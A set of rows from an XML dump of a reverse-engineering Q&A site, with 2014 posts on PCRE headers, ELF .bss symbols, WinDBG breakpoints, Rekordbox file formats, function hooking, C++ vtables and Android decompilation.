  <row Id="4304" PostTypeId="2" ParentId="4302" CreationDate="2014-05-09T17:53:05.837" Score="9" Body="&lt;p&gt;Googling for &lt;code&gt;0x50435245&lt;/code&gt; gives several hits, for example &lt;a href=&quot;http://ultimatepp.org/redmine/projects/upp/repository/entry/tags/n-2011-15/uppbox/Pcre/lib/pcre_internal.h&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Magic number to provide a small check against being handed junk. Also used&#xA;to detect whether a pattern was compiled on a host of different endianness. */&#xA;&#xA;#define MAGIC_NUMBER  0x50435245UL   /* 'PCRE' */&#xA;&#xA;&amp;lt;...snip...&amp;gt;&#xA;&#xA;/* The real format of the start of the pcre block; the index of names and the&#xA;code vector run on as long as necessary after the end. We store an explicit&#xA;offset to the name table so that if a regex is compiled on one host, saved, and&#xA;then run on another where the size of pointers is different, all might still&#xA;be well. For the case of compiled-on-4 and run-on-8, we include an extra&#xA;pointer that is always NULL. For future-proofing, a few dummy fields were&#xA;originally included - even though you can never get this planning right - but&#xA;there is only one left now.&#xA;&#xA;NOTE NOTE NOTE:&#xA;Because people can now save and re-use compiled patterns, any additions to this&#xA;structure should be made at the end, and something earlier (e.g. a new&#xA;flag in the options or one of the dummy fields) should indicate that the new&#xA;fields are present. Currently PCRE always sets the dummy fields to zero.&#xA;NOTE NOTE NOTE:&#xA;*/&#xA;&#xA;typedef struct real_pcre {&#xA;  pcre_uint32 magic_number;&#xA;  pcre_uint32 size;               /* Total that was malloced */&#xA;  pcre_uint32 options;&#xA;  pcre_uint32 dummy1;             /* For future use, maybe */&#xA;&#xA;  pcre_uint16 top_bracket;&#xA;  pcre_uint16 top_backref;&#xA;  pcre_uint16 first_byte;&#xA;  pcre_uint16 req_byte;&#xA;  pcre_uint16 name_table_offset;  /* Offset to name table that follows */&#xA;  pcre_uint16 name_entry_size;    /* Size of any name items */&#xA;  pcre_uint16 name_count;         /* Number of name items */&#xA;  pcre_uint16 ref_count;          /* Reference count */&#xA;&#xA;  const unsigned char *tables;    /* Pointer to tables or NULL for std */&#xA;  const unsigned char *nullpad;   /* NULL padding */&#xA;} real_pcre;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's how it looks for your dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  dd 'PCRE'     ; magic_number&#xA;  dd 56h        ; size&#xA;  dd 800000h    ; options&#xA;  dd 4          ; dummy1&#xA;  dw 1          ; top_bracket&#xA;  dw 0          ; top_backref&#xA;  dw 0          ; first_byte&#xA;  dw 74h        ; req_byte&#xA;  dw 28h        ; name_table_offset&#xA;  dw 0          ; name_entry_size&#xA;  dw 0          ; name_count&#xA;  dw 0          ; ref_count&#xA;  dd 0          ; tables&#xA;  dd 0          ; nullpad&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will probably need to read the library source and/or try compiling some regexps with it to decode the rest.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-05-09T17:53:05.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4305" PostTypeId="2" ParentId="72" CreationDate="2014-05-10T10:00:42.347" Score="6" Body="&lt;p&gt;Blackstorm portal has a huge collection of Unpacking tutorials&#xA;&lt;a href=&quot;http://portal.b-at-s.net/news.php&quot; rel=&quot;noreferrer&quot;&gt;Blackstorm portal tutorials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tuts4You has another large collection of unpacking tutorials&#xA;&lt;a href=&quot;https://tuts4you.com/download.php?list.19&quot; rel=&quot;noreferrer&quot;&gt;Tuts4You&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me a long time at first but over time unpacking got a lot easier, lots of patience and practice required though.&lt;/p&gt;&#xA;" OwnerUserId="4593" LastEditorUserId="53" LastEditDate="2014-05-10T10:28:23.213" LastActivityDate="2014-05-10T10:28:23.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4306" PostTypeId="1" AcceptedAnswerId="4307" CreationDate="2014-05-10T16:24:59.647" Score="3" ViewCount="794" Body="&lt;p&gt;So basically I am trying to re-use some assembly code/data dumped by &lt;code&gt;objdump&lt;/code&gt; from 32 bit ELF binary on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, in the disassembled binary, I found some symbol referring to &lt;code&gt;.bss&lt;/code&gt; section like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 80486b7:   mov    0x804b264,%eax   &amp;lt;- 0x804b264 is an addr in .bss&#xA; 80486bc:   movl   $0x0,0x4(%esp)&#xA; 80486c3:&#xA; 80486c4:   mov    %eax,(%esp)&#xA; 80486c7:   call   804876c &amp;lt;sum&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By digging into the original source code, I find out that &lt;code&gt;0x804b264&lt;/code&gt; is used for &lt;code&gt;stdin&lt;/code&gt; in &lt;code&gt;.bss&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, there are basically two situations on &lt;code&gt;.bss&lt;/code&gt; section's data:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;uninitialized data, will be uninitialized in the source code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;some global/system related data (such as &lt;strong&gt;stdin&lt;/strong&gt; in the above situation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So when trying to re-use &lt;code&gt;.bss&lt;/code&gt; section's data, I have tried this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section .bss&#xA;S_0x804B260 : .byte 0x00&#xA;           .byte 0x00&#xA;           .byte 0x00&#xA;          .byte 0x00&#xA;S_0x804B264 : .byte 0x00          &amp;lt;- I lift addr into symbol!&#xA;          .byte 0x00&#xA;         .byte 0x00&#xA;         .byte 0x00&#xA;         .byte 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the &lt;code&gt;.text&lt;/code&gt; section, I will also lift corresponding addr into symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;same situation works fine for &lt;code&gt;.rodata&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt; section&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that, there are some global variables (such as &lt;strong&gt;stdin&lt;/strong&gt; &lt;strong&gt;stdout&lt;/strong&gt;), locating in &lt;code&gt;.bss&lt;/code&gt; section, while are not initialized by &lt;strong&gt;user defined code&lt;/strong&gt;, which means that in my re-used asm code, this symbol variable will always be &lt;strong&gt;zero&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to manually substitute symbols corresponding to &lt;strong&gt;stdin&lt;/strong&gt;, and it seems that it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I identify which symbol in the &lt;code&gt;.bss&lt;/code&gt; section is some variables that initialized by system? such as &lt;strong&gt;stdin&lt;/strong&gt;, &lt;em&gt;stdout*&lt;/em&gt; and others?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it is not possible, then is there anyway that I can enforce system to use memory in the &lt;code&gt;.bss&lt;/code&gt; section where I want it to use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I clear? Could anyone give me some help?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-05-10T18:18:44.857" Title="How to reuse symbol/data defined in .bss section?" Tags="|disassembly|assembly|elf|reassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4307" PostTypeId="2" ParentId="4306" CreationDate="2014-05-10T18:18:44.857" Score="2" Body="&lt;p&gt;I'm afraid you're not too clear when you talk about &quot;reusing&quot; some part of a program. What exactly do you want to do? Load the original program into a debugger, then call just one single function of it? Extract a ranged of addresses and turn that into a new program? Or extract one function from the original program, possibly together with everything the function depends on, then embed that function into a larger program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're wrong in one thing: the .bss section is NOT initialized at all at program start (at least not to anything but a load of &lt;code&gt;\0&lt;/code&gt; bytes). The initialization of stuff like &lt;code&gt;stdout&lt;/code&gt; is done in runtime before main() starts. Stuff that gets initialized with constant data goes into the .data segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(On a side note: One of the reasons why the stdout FILE structure isn't put into .data and initialized as constants is most runtimes on unix-like systems will check if their file descriptor goes to a terminal or something else, and turn on/off buffering depending on that check).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you extract a part of the code, you'll have to check each reference to .data AND .bss (and to .text - the code - as well if the extracted part depends on any libraries etc.). For each of those references, you'll have to decide what to do with them - share them with the new program, keep them for the functions you extracted, whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're lucky, and have an unstripped executable, you can use &lt;code&gt;nm&lt;/code&gt; to find out which symbol is where; if you're not that lucky, you'll have to disassemble/decompile everything, understand it, rewrite it into new source, and compile it together with whatever you want to embed it in.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-05-10T18:18:44.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4308" PostTypeId="2" ParentId="3983" CreationDate="2014-05-11T03:48:37.943" Score="5" Body="&lt;p&gt;It may be late but:&#xA;If you use WinDBG(kd) to debug the kernel use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sxe -c &quot;.echo fdisk loaded;&quot; ld:fdisk.sys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is usable in user and kernel mode and cause the debugger break-in after module loaded and before entry-point.&lt;/p&gt;&#xA;" OwnerUserId="4575" LastActivityDate="2014-05-11T03:48:37.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4309" PostTypeId="1" CreationDate="2014-05-11T03:53:41.177" Score="-1" ViewCount="464" Body="&lt;p&gt;Is there any tool help my to draw kernel-mode execution flow graph (basic block based or function based) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My exact problem is &lt;strong&gt;slow speed&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To clear my question lets ask this way:&#xA;&lt;em&gt;Is there any fast way to draw kernel-mode execution&lt;/em&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA 6.2 pro and BinNavy 5 to generate EF-Graph. They are so slow and have many problems with loops and rep-prefixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned in my comment the driver initializing tracing wast 30 min (I want to draw each IOCtl graph).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again as I mentioned in my comment I use Virtual-KD and VMWare (Is it any faster configuration ?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.I'm not in user mode.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.problem is slow speed.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="245" LastEditDate="2014-05-12T13:10:04.057" LastActivityDate="2014-05-12T13:10:04.057" Title="Kernel Driver Execution Flow ( Faster Than IDA or BinNavi )" Tags="|windows|dynamic-analysis|kernel-mode|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4310" PostTypeId="2" ParentId="4309" CreationDate="2014-05-11T10:13:09.370" Score="2" Body="&lt;p&gt;You can give a try to &lt;a href=&quot;http://www.hexblog.com/?p=92&quot; rel=&quot;nofollow&quot;&gt;IDA&lt;/a&gt;, since it supports kernel-mode debugging, and has a trace feature.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-05-11T10:13:09.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4311" PostTypeId="1" CreationDate="2014-05-11T12:21:30.167" Score="6" ViewCount="4987" Body="&lt;p&gt;Pioneers Rekordbox software is a music management tool for DJs. One of its features is BPM detection for music files. Unfortunately it doesn't write this information to the BPM frame of the files ID3 tags, and instead keeps the detected BPM in it's own database files.&lt;/p&gt;&#xA;&lt;p&gt;I'm writing a CLI tool to help me better manage my music, and one of the things I would like it to do, is extract the BPM data from the rekordbox database for each song.&lt;/p&gt;&#xA;&lt;p&gt;As Guntram Blohm pointed at, the BPM is almost certainly not stored in the two ANLZ files. Instead it appears to be stored in the Rekordbox 'database.edb' file. I've uploaded &lt;a href=&quot;https://drive.google.com/file/d/0B2TT08R8boDIS2V4WjJfWVZSN3c/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;an example edb file here&lt;/a&gt; which contains one track with the BPM '170'.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://forums-archive.pioneerdj.com/eve/forums/a/tpc/f/240103214/m/7560086126&quot; rel=&quot;nofollow noreferrer&quot;&gt;this forum thread&lt;/a&gt; the edb format is &lt;em&gt;not&lt;/em&gt; an open format.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;After a little more research it looks like it's a proprietary high-performance SQL database intended for use in embedded applications. (After EVEN MORE research, &lt;strong&gt;the database is called 'DeviceSQL'&lt;/strong&gt;. Read the &lt;a href=&quot;http://www.quora.com/What-database-system-did-Greg-Kemnitz-develop/answer/Greg-Kemnitz&quot; rel=&quot;nofollow noreferrer&quot;&gt;original authors Quora post about it&lt;/a&gt;). Doesn't seem like it is something that would be easy to reverse :(&lt;/p&gt;&#xA;&lt;p&gt;For anyone else looking to extract the BPM information from their rekordbox library: It turns out there is a XML export that you can use. While not quite as automated as just reading the database file, it is a nice standard format!&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Old question:&lt;/strong&gt;&#xA;Each track seems to have two files kept in the database (the database is just a directory tree of these files) for it. Here is the pair of files for &lt;a href=&quot;https://drive.google.com/folderview?id=0B2TT08R8boDIdUdaemNmVGxkd1U&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;an example track&lt;/a&gt;. The BPM was detected as 170 for the track, though I suspect it's storing it as a floating point or double as some other tracks can be detected at numbers like &amp;quot;169.96&amp;quot;. Though looking for the double and floating point hex representations didn't yield any matches for me.&lt;/p&gt;&#xA;&lt;p&gt;I see the files have what look like headers, for example &amp;quot;PPTH&amp;quot; followed by the file path. and &amp;quot;PQTZ&amp;quot;, for the Rekordbox quantization feature. But I'm not too familiar with file formats, so I can't tell if it's using a standard file type. Or something more proprietary.&lt;/p&gt;&#xA;&lt;p&gt;If anyone is interested in taking a look at the files and pointing me in the right direction it would be greatly appreciated! Right now I'm just trying to figure out how the BPM is stored.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;" OwnerUserId="4599" LastEditorUserId="29707" LastEditDate="2022-03-07T00:29:36.127" LastActivityDate="2023-08-29T05:48:58.153" Title="Help reversing a EDB database file for Pioneers Rekordbox software" Tags="|file-format|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4312" PostTypeId="2" ParentId="4311" CreationDate="2014-05-11T15:41:07.253" Score="3" Body="&lt;p&gt;The file format seems, as you found out, to consist of headers that have a tag. Each of these headers seems to be 16+ byte, with 4 bytes for the tag, 4 bytes for the length of the header, 4 bytes for the size of header + data, and 4 bytes that i'm not sure about. Unfortunately, these length bytes are &lt;em&gt;big endian&lt;/em&gt;, which made me think the bpm could be stored in big endian IEEE float as well, which could be the reason you didn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first header, PMAI. seems to be some kind of envelope (its length field is the size of the file itself), the rest of the headers seem to various forms of data content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a small program to dump the section names and lengths (please don't use it as an example for good style!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &amp;lt;stdio.h&amp;gt;&#xA;    #include &amp;lt;arpa/inet.h&amp;gt;&#xA;&#xA;    int main(int argc, char **argv) {&#xA;            analyze(argv[1]);&#xA;    }&#xA;&#xA;    int analyze(char *filename) {&#xA;            FILE *fp;&#xA;            struct {&#xA;                    char tag[4];&#xA;                    int  x0;&#xA;                    int  x1;&#xA;                    int  x2;&#xA;            }  header;&#xA;            int length;&#xA;&#xA;            if ((fp=fopen(filename, &quot;rb&quot;))==NULL) {&#xA;                    perror(filename); return;&#xA;            }&#xA;            while (fread(&amp;amp;header, sizeof header, 1, fp)) {&#xA;                    header.x0=ntohl(header.x0);&#xA;                    header.x1=ntohl(header.x1);&#xA;                    header.x2=ntohl(header.x2);&#xA;                    printf(&quot;%04x %4.4s: %08x (%06d) | %08x (%06d) | %08x (%06d)\n&quot;,&#xA;                            ftell(fp)-sizeof(header),&#xA;                            header.tag,&#xA;                            header.x0, header.x0,&#xA;                            header.x1, header.x1,&#xA;                            header.x2, header.x2&#xA;                    );&#xA;                    if (!memcmp(header.tag, &quot;PMAI&quot;, 4)) {   // outer container&#xA;                            length=header.x0;               // just skip header&#xA;                    } else if (!memcmp(header.tag, &quot;PPTH&quot;, 4)) {&#xA;                            int i;&#xA;                            for (i=0; i&amp;lt;header.x2; i+=2) {&#xA;                                    getc(fp);&#xA;                                    putchar(getc(fp));&#xA;                            }&#xA;                            putchar('\n');&#xA;                            continue;&#xA;                    } else {&#xA;                            length=header.x1;               // else skip data&#xA;                    }&#xA;                    fseek(fp, length-sizeof(header), 1);&#xA;            }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which produces the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ ./sections ANLZ0000.DAT&#xA;    0000 PMAI: 0000001c (000028) | 000028fc (010492) | 00000001 (000001)&#xA;    001c PPTH: 00000010 (000016) | 00000100 (000256) | 000000f0 (000240)&#xA;    E:\music\247 Hardcore\[+singles]\[247HC055] [12B] Al Storm Ft. Malaya - Everytime We Say Goodbye (Technikore Remix).mp3&#xA;    011c PVBR: 00000010 (000016) | 00000654 (001620) | 00000000 (000000)&#xA;    0770 PQTZ: 00000018 (000024) | 00001f40 (008000) | 00000000 (000000)&#xA;    26b0 PWAV: 00000014 (000020) | 000001a4 (000420) | 00000190 (000400)&#xA;    2854 PWV2: 00000014 (000020) | 00000078 (000120) | 00000064 (000100)&#xA;    28cc PCOB: 00000018 (000024) | 00000018 (000024) | 00000001 (000001)&#xA;    28e4 PCOB: 00000018 (000024) | 00000018 (000024) | 00000000 (000000)&#xA;&#xA;    $ ./sections ANLZ0000.EXT&#xA;    0000 PMAI: 0000001c (000028) | 0000cf56 (053078) | 00000001 (000001)&#xA;    001c PPTH: 00000010 (000016) | 00000100 (000256) | 000000f0 (000240)&#xA;    E:\music\247 Hardcore\[+singles]\[247HC055] [12B] Al Storm Ft. Malaya - Everytime We Say Goodbye (Technikore Remix).mp3&#xA;    011c PWV3: 00000018 (000024) | 0000ce26 (052774) | 00000001 (000001)&#xA;    cf42 PKEY: 00000014 (000020) | 00000014 (000020) | 0000000c (000012)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, PMAI is the container. PPTH is the name of the MP3 file. PVBR is probably information about variable bit rate, PQTZ the quantization, and PWAV, PWV2 and PWV3 various wave forms. Which leaves only PCOB and PKEY to possibly contain the bitrate. Unfortunately, if you look at the hex dump of these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    000028c0  xx xx xx xx xx xx xx xx xx xx xx xx 50 43 4f 42   ............PCOB&#xA;    000028d0  00 00 00 18 00 00 00 18 00 00 00 01 00 00 00 00   ................&#xA;    000028e0  ff ff ff ff 50 43 4f 42 00 00 00 18 00 00 00 18   ....PCOB........&#xA;    000028f0  00 00 00 00 00 00 00 00 ff ff ff ff               ............&#xA;&#xA;    0000cf40  xx xx 50 4b 45 59 00 00 00 14 00 00 00 14 00 00   ..PKEY..........&#xA;    0000cf50  00 0c 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it seems that PCOB contains 00 00 00 00 ff ff ff ff, and PKEY has 00 00 00 00. None of these look like they could mean 170.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forums.pioneerdj.com/entries/20118251-Read-this-thread-before-posting-for-help-with-Rekordbox-&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt; says 'If rekordbox crashes on startup, rename database.backup.edb to database.edb, if it still crashes, remove all the datafiles'. Since the BPM don't seem to be stored in the ANLZ.* files - do you have a database.edb as well? Could the BPM be stored there?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-05-11T15:41:07.253" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4313" PostTypeId="2" ParentId="2989" CreationDate="2014-05-12T13:24:34.527" Score="2" Body="&lt;p&gt;It is not necessary to know the number of arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, the number of arguments is limited by a constant (otherwise the program would need infinite memory :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, you can declare a hook function with, say, 16 args, print the args, and call the original function with the same 16 args. If the code breaks, double the number of args.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef unsigned long DW;&#xA;#define DW_MANYARGS  DW arg1,DW arg2,DW arg3,DW arg4,DW arg5,DW arg6,DW arg7,DW arg8&#xA;#define MANYARGS     arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8&#xA;&#xA;DW hookFunc(DW_MANYARGS) {&#xA;    // we do not expect a quadruple-word result here&#xA;    DW res = originalFunc(MANYARGS);&#xA;    return res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Caveats:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not forget to return what the original function returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that there are two hidden arguments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0) the address of the return value, if the return value does not fit into the size of int;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) the &lt;code&gt;this&lt;/code&gt; pointer&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2016-05-11T09:13:00.677" LastActivityDate="2016-05-11T09:13:00.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4314" PostTypeId="1" CreationDate="2014-05-12T13:36:10.173" Score="2" ViewCount="624" Body="&lt;p&gt;I see that the virtual method table (VMT, a.k.a. VFT) contains some odd values, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;obj:0x123c1a8 [704] vmt:0x611f77f8&#xA;data: 0123c1a8 f8 77 1f 61 00 96 23 01 00 00 00 00 c4 e0 b4 5c 00 00 00 00 00 00 00 00 00 00 00 00 30 f2 76 5e 78 a2 23 01 78 e0 b4 5c 00 00 00 00 14 b1 75 5e 00 00 00 00 f8 7c 1f 61 f0 a2 23 01 00 00 00 00 `w`a``#````````\````````````0`v^x`#`x``\``````u^`````|`a``#`````&#xA;vmt:  611f77f8 09 63 98 60 25 63 98 60 95 67 98 60 e5 67 98 60 9d 68 98 60 e1 2f 9f 5c 51 07 9f 5c 45 07 9f 5c 49 07 9f 5c 4d 07 9f 5c 99 a3 69 5e a1 a3 69 5e 31 dd 68 5e a1 dd 68 5e d1 dd 68 5e c1 dd 68 5e `c``%c```g```g```h```/`\Q``\E``\I``\M``\``i^``i^1`h^``h^``h^``h^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(You see these odd 0x60986309 and 60986325 in the beginning of the virtual function table.)&lt;/p&gt;&#xA;&lt;p&gt;What is stored in the virtual function table?&lt;/p&gt;&#xA;&lt;p&gt;The compiler is GCC, more precisely, G++ (GNU C++) for ARM from the Android NDK.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I see that the VMT contains entries that are not pointers to functions.&lt;/p&gt;&#xA;&lt;p&gt;Here's the disassembled code for the Qt class &lt;code&gt;QSystemLocale&lt;/code&gt;, you see pairs of lines, these are the IDA output lines followed by the same lines processed by &lt;code&gt;c++filt&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; _ZTV13QSystemLocale      DCD 0, _ZTI13QSystemLocale, _ZN13QSystemLocaleD2Ev+1, _ZN13QSystemLocaleD0Ev+1&#xA; vtable for QSystemLocale DCD 0, typeinfo for QSystemLocale, QSystemLocale::~QSystemLocale()+1, QSystemLocale::~QSystemLocale()+1&#xA;&#xA;             DCD _ZNK13QSystemLocale5queryENS_9QueryTypeE8QVariant+1&#xA;             DCD QSystemLocale::query(QSystemLocale::QueryType, QVariant) const+1&#xA;&#xA;             DCD _ZNK13QSystemLocale14fallbackLocaleEv+1&#xA;             DCD QSystemLocale::fallbackLocale() const+1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here we see that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;there is a suspicious 0 in the very beginning of VMT. It is reasonable to suggest that sometimes it may be not 0, as it happened in the dump above, but what is it then? &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4330/4398&quot;&gt;See here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;there is typeinfo. What does it allow to do? &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4329/4398&quot;&gt;See here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;there are &lt;em&gt;&lt;strong&gt;two&lt;/strong&gt;&lt;/em&gt; destructors, &lt;code&gt;_ZN13QSystemLocaleD2Ev&lt;/code&gt; and &lt;code&gt;_ZN13QSystemLocaleD0Ev&lt;/code&gt;. &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/4323/4398&quot;&gt;See why&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;and, finally:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;can I be sure that VMT is not initialized/modified at run-time? If it is written to, what gets written?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;code&gt;typeinfo&lt;/code&gt; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;             EXPORT _ZTI13QSystemLocale&#xA;             EXPORT typeinfo for QSystemLocale&#xA;&#xA; _ZTI13QSystemLocale DCD _ZTVN10__cxxabiv117__class_type_infoE+8, _ZTS13QSystemLocale&#xA; typeinfo for QSystemLocale DCD vtable for __cxxabiv1::__class_type_info+8, typeinfo name for QSystemLocale&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-05-14T07:47:47.660" Title="What is stored in the virtual function table? (Android NDK, GNU C++)" Tags="|c++|android|arm|virtual-functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4315" PostTypeId="1" AcceptedAnswerId="4318" CreationDate="2014-05-12T13:51:20.780" Score="6" ViewCount="1586" Body="&lt;p&gt;I have been involved in disassembling Android apps using &lt;a href=&quot;https://code.google.com/p/smali/&quot; rel=&quot;noreferrer&quot;&gt;baksmali&lt;/a&gt; and dexpler. Whenever I disassemble an app, I find the packages and package hierarchy (that would have been available in development scenario) intact. For instance, when I disassemble a task manager app (MD5: 3377f8527479ab4e72bf9fa5eec62abe), I get the package hierarchy as shown in the figure below.&lt;img src=&quot;https://i.stack.imgur.com/Zrhkg.png&quot; alt=&quot;enter image description here&quot;&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this context, I have the following questions,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will this hierarchy of Java packages be preserved and retained while building apps. When we develop apps, of course, we use many packages and we put them in a hierarchy while we build the app. But, all the code written by developers will be converted into a single classes.dex file. Will the packages and package hierarchy information be retained in this classes.dex file or any other part of the apk file (like META-INF)? &lt;/li&gt;&#xA;&lt;li&gt;If this information is not available from .dex, where does this come from? How does every disassembling/ decompiling tool manages to extract this package hierarchy?&lt;/li&gt;&#xA;&lt;li&gt;Where to find documentation/ literature relevant to packages and package hierarchy in the app building process? I tried skimming thro' Android documentation in vain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4612" LastEditorUserId="4612" LastEditDate="2014-05-12T14:28:12.653" LastActivityDate="2014-05-12T16:37:19.950" Title="How do Android reverse engineering tools extract packages/ package hierarchy present in Android apps?" Tags="|disassembly|decompilation|static-analysis|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
